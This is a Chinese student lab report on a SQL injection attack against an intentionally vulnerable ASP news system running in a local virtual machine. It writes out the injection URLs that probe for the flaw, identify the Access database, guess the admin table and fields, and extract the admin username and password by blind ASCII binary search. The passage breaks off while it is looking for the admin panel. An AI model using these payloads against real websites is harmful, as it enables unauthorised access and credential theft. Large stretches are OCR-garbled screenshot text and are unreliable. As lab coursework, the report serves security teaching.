SQL注入攻擊實(shí)驗(yàn)報(bào)告

1、sql注入攻擊實(shí)驗(yàn)報(bào)告實(shí)驗(yàn)報(bào)告（實(shí)驗(yàn)名稱：sql注入攻擊）一、實(shí)驗(yàn)?zāi)康耐ㄟ^sql注入攻擊，掌握網(wǎng)站的工作機(jī)制，認(rèn)識(shí)到sql注入攻擊的防范措施, 加強(qiáng)對(duì)web攻擊的防范。二、實(shí)驗(yàn)環(huán)境描述實(shí)驗(yàn)開展所基于的網(wǎng)絡(luò)環(huán)境，給出網(wǎng)絡(luò)拓?fù)洹p地址、web服務(wù)器、客戶 機(jī)等信息。宿主機(jī)（客戶機(jī)）：操作系統(tǒng)為windows 10, ip為1,在主機(jī)上 安裝虛擬化軟件vmware player,在此基礎(chǔ)上創(chuàng)建虛擬機(jī)并安裝操作系統(tǒng)，進(jìn)行網(wǎng) 絡(luò)配置，采用環(huán)回適配器，橋接模式，實(shí)現(xiàn)宿主機(jī)與虛擬機(jī)之間的網(wǎng)絡(luò)通信，虛擬機(jī)（web服務(wù)器）：操作系統(tǒng)為windows xp, ip為192.168.18.

2、9,本實(shí)驗(yàn)利用windows的iis服務(wù)搭建了一個(gè)有sql注入漏洞的網(wǎng)站“asp新 聞發(fā)布系統(tǒng)”，以該網(wǎng)站為目標(biāo)，對(duì)其實(shí)施sql注入攻擊。本實(shí)驗(yàn)所需工具如下：iis是internet information server的縮寫，是微軟提供的internet服務(wù)器軟 件，包括web、ftp、mail等服務(wù)器，也是目前常用的服務(wù)器軟件。版本不限?！鞍”注入工具：對(duì)“mssql顯錯(cuò)模式、mmssql不顯錯(cuò)模式”、“access” 等數(shù)據(jù)庫都有很好的注入檢測(cè)能力，內(nèi)集“跨庫查詢”、“注入點(diǎn)掃描”、“管理入口 檢測(cè)”、“目錄查看”等等于一身的注入工具包?！癮sp新聞發(fā)布系統(tǒng)ok3w v4.6源碼。三、

3、實(shí)驗(yàn)內(nèi)容（一）配置實(shí)驗(yàn)環(huán)境，首先選擇網(wǎng)絡(luò)適配器，安裝環(huán)回適配器，在主機(jī)上安裝vmware player,成功啟 動(dòng)虛擬機(jī)。接著配置宿主機(jī)和虛擬機(jī)的ip,如圖要注意的是，配置主機(jī)上的ip時(shí),應(yīng)該選擇vmnet8,并且注意勾取bridge-1 -9以太網(wǎng)2屬性網(wǎng)絡(luò)身份麴證共享連接時(shí)使用:壁 vmware virtual ethernet adapter for vmnet8配置(c)lit；使用項(xiàng)目(q)：s microsoft網(wǎng)絡(luò)客戶登 roto col 國事件和打印機(jī)共享 0 鏈路層拓?fù)浒l(fā)現(xiàn)響應(yīng)程序 h x internet 初議版本 4 (tcp/ipv4) x microsoft網(wǎng)絡(luò)適閨器

4、多路傳送器協(xié)議 v. x鏈路層拓?fù)浒l(fā)現(xiàn)映射器i/o英的程序 5 . microsoft lldp婚政馭動(dòng)程序安裝卸載(u)然后，驗(yàn)證宿主機(jī)和虛擬機(jī)是否聯(lián)通，結(jié)果顯示連接成功。|5i自理靈:命令疼示胃kicrosoft windows 版本 10. 0. 10586j(c) 2015 microsoftdorporition. 保留所有權(quán)利.c:wi neo v s sy s t em32 hdvrvn 匚c: wineowssystem32ping 192. 168.18. 11在白自自自正來來來來ping 192.168. 18. 11具有32字節(jié)的數(shù)據(jù)：192. 168. 13.11 的回

5、復(fù)：字節(jié)=32 時(shí)間hns ttle28192. 168. l8.11 的回復(fù)：字節(jié)=32 時(shí)間iras hl=128192. 168. 18.11 的回復(fù),：字節(jié)=32 時(shí)間plng 192. 168.18. c正在ping 192.168.18. 9具有32字節(jié)的數(shù)據(jù)：來自192.168. 18.9的回復(fù)：字節(jié)=32時(shí)間=3ns ttl=128 來自192. 168. 13.9的回復(fù)：字節(jié)二32時(shí)間1儂ttl二122 來百 192. 168. 18.9 的回豆：字節(jié)=32 b力間hrs ttl=128 來自192. 168. 13.9的回復(fù)：字節(jié)=32時(shí)間1讓ttl=128 192.168

6、.18. 9 的 ping 統(tǒng)計(jì)信息：數(shù)據(jù)包：已發(fā)送:4,已接收;4,丟失=0 (冰丟失), 往返行程的估計(jì)時(shí)間(以毫秒為單位)：最是=03，最長=3ms,平均=orcc:ffinto?/ssystgni32最后在虛擬機(jī)上安裝hs程序，打開瀏覽器，輸入地址“127. 0. 0.1” ,檢查網(wǎng) 站搭建情況。成功!（二）尋找注入點(diǎn)在宿主機(jī)上，打開網(wǎng)頁http:192. 168.18. 9/list. asp?id=95,可以正常打開 頁面。ob，0 hupy/192.168.189j=95o，:此為陽加儂例能計(jì)：otmtr盟絡(luò)技承 評(píng)，白員人口fcn：u ko w用版面芯和親練“s憲錄網(wǎng)站百頁 筠

7、間資訊 網(wǎng)絡(luò)安全網(wǎng)頁制作i碘運(yùn)總 平面設(shè)計(jì)好同貨m 咕內(nèi)幄 網(wǎng)絡(luò)彈作 網(wǎng)拈&奔 人宓新句ii界時(shí)備a-rsfifi）進(jìn)行注入測(cè)試9 鍵入 http:/192. 168.18. 9/list. asp?id=95 and 1=1,返回頁 面不變。0 /listasp?id=9!320and%201 = i筋計(jì)） d g十算機(jī)月格技術(shù)課1q新聞茹_文宜分類一期會(huì)員入口唯號(hào):密碼;登錄i三任-11 -u k j wasf孫町發(fā)布系統(tǒng)“4.6網(wǎng)站首頁邦破訊1網(wǎng)絡(luò)安全|網(wǎng)頁:a作網(wǎng)站運(yùn)首|平面設(shè)計(jì)軟訶關(guān)訊站內(nèi)劫府網(wǎng)拓媒體網(wǎng)站經(jīng)濟(jì)人崛（同業(yè)界動(dòng)態(tài)新浪新詞鍵入 http:

8、/192. 168. 18. 9/list. asp?id=95 and 1=2,返回頁面出錯(cuò)。=t? d* x49 c。叩”92,168.189“uf-20ms 步可ea“ s ect counio from rv6sodjegs)0 q 7 食g drtmo ：發(fā)為城sma0a c x；?rz無，復(fù)日ux 無法顯示餌貞uw詬限且或皿喳，無壽!紫 山田圣1悅，rcirt. .off iinmurgridwa加fg，kirr im t - q him4ci信里修分fi+a，m孑表竹人員) 題鳧armi*! etqi， 芯，/,;”，上wmwifttmeu/ii3 0，第 13 行 吟會(huì)sm ,

9、ills 0 ik，1e k! 10 0. md/nng? intm. i;u c.a. as* o 法，公x 5t x: btzi j o3 (s) go qioo%fromfromai*t2qia. t$ & 和 x. 因此，可確定該網(wǎng)站存在注入點(diǎn)。(三)判斷數(shù)據(jù)庫類型用系統(tǒng)表的方法進(jìn)行判斷，分別鍵入http：/192. 168. 189/list. asp?id=95and(selectcount(*)sysobjects)0http:/192. 168. 18e 9/list. asp?id=95and(selectcount(*)msysobjects)0。b 0 http：/192

10、.168.18.9/ d=95%20and%20(select%20count(4)%20froml20msysobjects | ir.59網(wǎng)址導(dǎo)與o （叱為知制日涵股tt）二計(jì)算松用能技術(shù)泮，二無法31 示網(wǎng)靈匚無法=5ot奐無法顯示網(wǎng)頁i煙訪問的網(wǎng)頁出問迪，無法顯示，商三i五機(jī)行不少j忙:單擊叵拉粗，疚幡生試。 打開 31瓦血？主貢，”后瓷段與斫se信息4聯(lián)的顯格，http惜決5c0 18 -內(nèi)卻版昧和員- 瘠員 intiirn*it總息用關(guān)枝術(shù)信電用于支勢(shì)人員) 格俁奘型：?bto:oft jit dai0q ziiaiw (ox8004gk)不懈期記錄i存,門刀。mch上笳白讀戴廝眼

11、。/list. asp,第 15 行 猴若炎型：rt0xjlla/5.o nd。心 w 10.0. zoa64)mwqbkit/?37.” (kmiwl lile g”上。)chrwe/49.0. 2623 22 s才far；837 36 sk2.1 mgusy 1.0網(wǎng)頁： 欣無法顯示網(wǎng)頁i的訪同生四天出現(xiàn)向軟，無法顯示。金蕓撤行仍施作； 單擊&1引步用，或用后受試。 打開:空說反？主頁，然局5核與所交信日相翊勺度痍。mt錯(cuò)誤500,300 -內(nèi)印胴若者出式-ast餡式internet信總歷務(wù)使市占史用于去招人員） 福不理：itir0soet j17 dstabosq kasina （uze

12、ojdqet）llicroxaft j.t於提庫引攀找不多照入裳煙旬,ayxolj.ctx% 曬定它是否e，以院er氾射漸寫是否正蜩：/list. a，第 15 行 瀏覽港笑空，h0?tll4/5.0 mind。” ift 10 0: vx） ayrlevcbxjt/537 名 （kkotl lik6 小才。）c匕sg/49. 0. 2%3. 22 %針1處3乙 36 sb 2.x ntsr i.a 網(wǎng)貢.；俄i /lin. 5p 時(shí)間：20ie年12月7日，然28 詳比信科；l!；croxo/ 安撲| 尢或兩者返回均出錯(cuò)，可知是access數(shù)據(jù)庫。(四)猜測(cè)表名一般網(wǎng)站后臺(tái)的管理員都默認(rèn)在表

13、admin中，我們先試一下，鍵入：http:192. 168. 18. 9/list. asp?id=95 and (select count () from admin) 0, 0 hnp://list.asp?id=95%20and%2b$elect%20count(t)%20from%20admin 0 r 上導(dǎo)航 l無法顯示可殳計(jì)) d計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)課t1新間紡至分次秀會(huì)員人口帳目;登錄iu ko wasp期間發(fā)加歲統(tǒng)”石返回頁面正常，可知該網(wǎng)站后臺(tái)數(shù)據(jù)庫中存在著表名為admin的表。(五)猜測(cè)字段名不同公司網(wǎng)站有不同的字段名，但一般都有三個(gè)字段，分別 記錄id

14、號(hào)、用戶名和密碼，常用的字段名為：id, username, pas sword .分別鍵入 http：/192. 168.18. 9/list. asp?id=95 and (select coxint (id) from admin)0http：/192. 168. 18. 9/list. asp?id=95 and (select count (username) from admin)020adm,，http:/192 168.18. 9/list. asp?id=95 and (select count (password) from admin)00 httpy/192.168.1

15、8.9/list.asp?id=95%20and%20(select%20co匕導(dǎo)航_無法顯示應(yīng)2計(jì))計(jì)篁蛔密技術(shù)津， ；一.新聞登記_文生定之球9 httpy//list.asp?id=95%20and%20(select%20coi7航間員田一文茸分至_壽：xi拈內(nèi)攝有：sh) j計(jì)百機(jī)網(wǎng)箔技術(shù)滓ti，一員入口|味號(hào)：u k 0 wa5p爵聞發(fā)刊系統(tǒng)“6三者返回均正常?？芍韆dmin中存在的三個(gè)字段：id, username, passwordo 注：“username”的截圖損壞，但是返回正常，望教員通融。(六)猜測(cè)管理員用戶名和密碼1 .確定表 admin

16、中有幾條記錄，鍵入 http:/192.168.18. 9/list. asp?id=95 and (select count() from admin) =1 返回頁面正常。0 /list.asp?id=95%20and%2b(select%20count(t)%20from%20admin)=1| 夕 l:導(dǎo)航無法顯示網(wǎng)svt) d q計(jì)算機(jī)網(wǎng)箔技術(shù)深1新閏資訊.文章分類_我2,會(huì)員人口帳號(hào):登錄i站回搜索:u ko was?新聞發(fā)布系統(tǒng)v46可知，表admin只有一條記錄。2 .猜測(cè)用戶名長度，鍵入 http:/192. 168. 18. 9/list

17、. asp?id=95 and (selectlen (us er name)fromadmin) =1返回 出錯(cuò)， 繼 續(xù)鍵入http：/192. 168. 18. 9/list. asp?id=95 and (select len(username) from admin)=2o (此為版式和體價(jià)設(shè)計(jì))計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)便卜u無法顯示網(wǎng)頁無法顯示網(wǎng)頁i鵡訪問的網(wǎng)畫出現(xiàn)i唾，無法顯示?；钍|讀執(zhí)行下列麋if： 單擊的璇，斯稍后更國。 打開 皿儂皿 主百，然后查找巧解信史相關(guān)的弱按。mr惜設(shè)eoo 10d -內(nèi)毒胭勞號(hào)自法-asf之決imcrnot信月不考(廣 ( 0g192.168.189/lis

18、lasp?id=95%20and%20(select%20len(usemame)%20fer!h蕭i裁,會(huì)封御*址導(dǎo)黯：？無5婀o(此為假孝故明設(shè)計(jì))i計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)課f無法顯示網(wǎng)頁x +無法顯示網(wǎng)頁硝訪i謝頓出現(xiàn)問卷無去顯示。直告限也行下列枝作： 單擊強(qiáng)按電，或帶后至口。.打開酸儂.四鄉(xiāng)主頁，然后受執(zhí)與所本法導(dǎo)相關(guān)的慣推。khp錯(cuò)溫503 100 -內(nèi)部引為衛(wèi)當(dāng)誤- asp錯(cuò)俁1=1- o *5- |zh/list.asp?id=95%20and%20(select%20len(username)%20frorn%20admin)=5 f , 一,我次魂網(wǎng)址導(dǎo)航？無法

19、o c （此為版式和體例設(shè)計(jì)）4計(jì)百r網(wǎng)絡(luò)技術(shù)3泊新回資訊了算分差子點(diǎn)u k 0 w、p新聞杭布隸院“已合員入口 哨：站內(nèi)彝：闞百頁i新同資訊i網(wǎng)絡(luò)安全i網(wǎng)頁潮作網(wǎng)站運(yùn)百平面設(shè)計(jì)網(wǎng)絡(luò)編程演示網(wǎng)站直到返回頁面正確。測(cè)試到5的時(shí)候，返回正常?？芍脩裘L度為5。3.猜測(cè)用戶名內(nèi)容，采用ascii碼分析法先猜測(cè)第1位，用二分法，鍵入 http：/192.168.18. 9/1ist. asp?id=95 and (select count (*) from admin where (asc(mid(username, 1,1)between 30 and 125)0 返回正確，進(jìn)一步縮小范圍 be

20、tween 70 and 100 , between 85 and 100 , between 90 and 100, =97。 |。20from%20admin%20v/here(a5c(m|i(username,1,1)between%2090%20and%20100?0 址導(dǎo)航 口無法顯示網(wǎng)i設(shè)計(jì)）計(jì)算機(jī)可給技術(shù) :集干新聞員汨內(nèi)分關(guān)覽e會(huì)員入口 怵號(hào)；密碼;登錄注冊(cè)i站內(nèi)加索;u ko wasf舒網(wǎng)發(fā)布妥.統(tǒng)“6網(wǎng)站首頁i新詞姿訊i網(wǎng)絡(luò)安全i網(wǎng)頁也作i網(wǎng)站運(yùn)營i平面設(shè)計(jì)網(wǎng)絡(luò)編程演示網(wǎng)站r nd%20(select%20count(i)%20from%20admin%20wherjasc

21、(mid(usernamejj)=97)0 i：導(dǎo)抗d無法顯示網(wǎng)) d計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)課rd籽聞焚閑_文空分美弟 xvj k 0 vvasf新閏友奇系統(tǒng)“6網(wǎng)站首頁新詞費(fèi)訊網(wǎng)絡(luò)安全網(wǎng)頁制作網(wǎng)站運(yùn)言平面設(shè)計(jì)網(wǎng)絡(luò)轆i演示網(wǎng)站可知第一個(gè)字符為ao依此類推，猜測(cè)之后的每一位字符,0 d%20(lect%20counte)%20from%20admin%；im”q(asc(m id(usef namer2,2)=100) 導(dǎo)航一元承s示網(wǎng)打）計(jì)h引用裔技術(shù)3津t1新閭貢田a分蘭型注視i站內(nèi)內(nèi)需:u ko wasp斯聞發(fā)而系統(tǒng)”5網(wǎng)站首頁i新ji資訊網(wǎng)絡(luò)安全i網(wǎng)而潴作i網(wǎng)站運(yùn)w平面設(shè)計(jì)i網(wǎng)絡(luò)編程i演示網(wǎng)站0

22、 d%20(select%20countr)%20from%20.黃靈左班:身充二無法顯示網(wǎng)連十）4計(jì)育館格技術(shù)評(píng)t:新迪安不加分工領(lǐng)ko w網(wǎng)站百再i先同資訊i網(wǎng)絡(luò)安全網(wǎng)內(nèi)制作網(wǎng)站運(yùn)營i平面設(shè)計(jì)網(wǎng)絡(luò)編程演示網(wǎng)站asf勃回發(fā)如冷猊v46| 0 d%20(select%20count(*)%20from%20admi n%20v;here(a$c(mid(username, 5,5)=110)0 )匕導(dǎo)第i無法顯示網(wǎng)sit） 計(jì)算機(jī)目后技本煤t.翁聞至3方分泛我于u ko w燼p新聞/布系統(tǒng)x6會(huì)員入口低號(hào)：|唐瑪;登錄i :上修i玷向梭雷:網(wǎng)站首頁新施訊網(wǎng)絡(luò)安全|網(wǎng)頁劄作i網(wǎng)站運(yùn)注|平面設(shè)計(jì)|

23、網(wǎng)絡(luò)手程|演示網(wǎng)站最后得到用戶名為admin。4.猜測(cè)密碼，同理：http:/192.168. 18. 9/list. asp?id=95 and (select len(password) from admin)=6- 0 y//listasp?id=95%20and%20(select%20|n(password)%20from%20admin)=上導(dǎo)航無云顯示網(wǎng)tt) 計(jì)宜機(jī)網(wǎng)絡(luò)技術(shù)課?哥底諾亂文官翁聾犬m ，金員入口曲號(hào)：密碼:登錄注冊(cè)i砧內(nèi)按空:網(wǎng)站首頁i新同奧訊網(wǎng)并安仝i網(wǎng)頁制作i網(wǎng)站運(yùn)苜平面設(shè)計(jì)i網(wǎng)絡(luò)編程演示網(wǎng)站所以密碼為6位。3 ;elect%20cou

24、nt(t)%20from%20admin%20where%20%2l加0無法顯示網(wǎng)) d計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)課t:新聞資訊_文章分類一我rx，龕員入口帳號(hào)：密碼登錄注冊(cè)i站內(nèi)搜索:u ko wasp新聞發(fā)布系統(tǒng)“4網(wǎng)站首頁i新聞資訊i網(wǎng)絡(luò)安全i網(wǎng)頁制作i網(wǎng)站運(yùn)營|平面設(shè)計(jì)i網(wǎng)絡(luò)編程i演示網(wǎng)以0 ielect%20count(*)%20from%20admin%20where%20%(導(dǎo)航l；無法顯示網(wǎng)滸) 計(jì)算機(jī)網(wǎng)珞技術(shù)3課id新聞瓷七文章分美英m x卜會(huì)員入口帳號(hào):密碼:登錄注冊(cè)i站內(nèi)搜索:u ko wasp新聞發(fā)布系統(tǒng)網(wǎng)站首頁i新聞費(fèi)訊i網(wǎng)絡(luò)安全i網(wǎng)頁制作i網(wǎng)站運(yùn)營i平面謾計(jì)i網(wǎng)絡(luò)編程i演示網(wǎng)站

25、9 ielect%20count(:*)%20from%20admin%20where%20%10(asc(mid(passworcl,3,3) = 51)0p 導(dǎo)航d無法顯示網(wǎng)葉） d計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)課11新聞度汛_文章分類.我三x卜會(huì)員入口 帳號(hào)：密碼二登錄i注冊(cè)i站內(nèi)搜索:u ko wasp新聞發(fā)布系統(tǒng)網(wǎng)站首頁i新同資訊i網(wǎng)絡(luò)安全i網(wǎng)頁制作i網(wǎng)站運(yùn)營i平面謾計(jì)i網(wǎng)絡(luò)編程i演示網(wǎng)站導(dǎo)航d無法顯示網(wǎng)0 ielect%20cou nt(*)%20from%20adj 計(jì)） :計(jì)算機(jī)網(wǎng)/技術(shù)課f新聞資訊_文章分類聿之x）會(huì)員入口怵號(hào):登錄注冊(cè)i站內(nèi)搜索:l網(wǎng)站苜頁新同資訊1網(wǎng)絡(luò)安全1網(wǎng)頁制作網(wǎng)站運(yùn)

26、營1平面謾計(jì)網(wǎng)絡(luò)編程演示網(wǎng)站u k 0 wasp新聞發(fā)布系統(tǒng)x.60 后lect%20count(%20fom%20admin%20where%20%迎呢皿曲3辿導(dǎo)航d無法顯示網(wǎng)i站內(nèi)搜索;葉） .計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)課市口新聞資訊_文章分美_案 x +會(huì)員入口帳號(hào);密碼:t登錄i注冊(cè)u(píng) k j wasp新聞發(fā)布系統(tǒng)746網(wǎng)站首頁i哥聞資訊網(wǎng)絡(luò)安全i網(wǎng)頁制作i網(wǎng)站運(yùn)營|平面設(shè)計(jì)i網(wǎng)絡(luò)編程i演示網(wǎng)站。ielect%20count(*)%20from%20admin%20where%20%20(asc(mid(pas$word,6；6) = 54)0 5導(dǎo)航l.-i無法顯示網(wǎng)滸）d &計(jì)算機(jī)網(wǎng)珞技術(shù)課工，d新聞資訊一文章分類_我曰x卜會(huì)員入口 帳號(hào)：密科:登錄i注冊(cè)站內(nèi)搜索:注入檢別u ko wasp新聞發(fā)布系統(tǒng)“4.6網(wǎng)站首頁i新聞費(fèi)訊i網(wǎng)絡(luò)安全i網(wǎng)頁制作i網(wǎng)站運(yùn)營i平面謾計(jì)i網(wǎng)絡(luò)編程i演示網(wǎng)站最終得到密碼為6位：123456。（七）尋找到后臺(tái)管理窗口打開“啊d”軟件，點(diǎn)擊進(jìn)入“管理